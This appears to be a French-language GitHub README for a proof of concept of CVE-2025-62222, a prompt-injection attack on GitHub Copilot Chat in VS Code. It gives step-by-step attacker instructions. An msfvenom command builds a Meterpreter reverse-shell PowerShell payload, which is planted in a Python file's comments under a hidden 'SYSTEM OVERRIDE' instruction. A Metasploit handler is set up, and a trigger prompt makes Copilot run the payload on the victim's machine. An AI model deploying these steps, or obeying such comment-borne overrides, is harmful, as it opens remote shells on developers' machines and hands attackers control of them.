sadisticnight/poc-cve-2025-62222Preuve de concept démontrant l'exécution de code à distance via injection d'invite dans GitHub Copilot Chat, utilisant un fichier Python conçu pour déclencher un reverse shell Meterpreter.
Ce dépôt contient une preuve de concept (PoC) pour la vulnérabilité CVE-2025-62222. Il démontre comment une exécution de code à distance (RCE) peut être réalisée sur la machine d'un développeur en manipulant le contexte de GitHub Copilot Chat dans VS Code via une injection de prompt cachée dans les commentaires.
UNIQUEMENT À DES FINS ÉDUCATIVES.
Ce code est fourni uniquement à des fins éducatives et de recherche éthique. L'auteur n'est pas responsable de l'utilisation abusive de ces informations. N'utilisez pas cela sur des systèmes sans autorisation explicite.
Avant d'envoyer le fichier à la victime (ou de le tester localement), vous devez générer la charge utile et laisser le serveur en écoute.
Générez la commande PowerShell malveillante. Assurez-vous de configurer votre IP (LHOST) et votre port (LPORT).
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<VOTRE_IP> LPORT=<VOTRE_PORT> -f psh-cmd
Instruction critique : Copiez le code généré par cette commande. Ouvrez le fichier copilot_injection_poc.py de ce dépôt et remplacez la section où il est écrit TOKEN (ou toute la ligne de la commande PowerShell dans le commentaire) par le code que vous venez de générer.
Dans votre terminal d'attaquant, lancez Metasploit pour recevoir la connexion inverse :
msfconsole -q
Une fois dans la console msf6 >, exécutez les commandes suivantes pour préparer l'écoute :
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set LHOST <VOTRE_IP_ATTAQUANT>
set LPORT 4444
exploit
(Assurez-vous que le LPORT est le même que celui utilisé à l'étape 1 et que LHOST est votre IP).
Pour déclencher la vulnérabilité, suivez ces étapes sur la machine avec VS Code et l'extension GitHub Copilot Chat installée :
copilot_injection_poc.py dans l'éditeur pour que Copilot l'ait dans son contexte actif (il doit être visible dans l'onglet).Configurez l'environnement depuis le terminal sans omettre ni modifier quoi que ce soit dans le code
En raison de l'instruction "SYSTEM OVERRIDE" cachée dans les commentaires du script Python, Copilot obéira au fichier malveillant plutôt qu'à ses propres directives de sécurité.
Pour plus d'informations :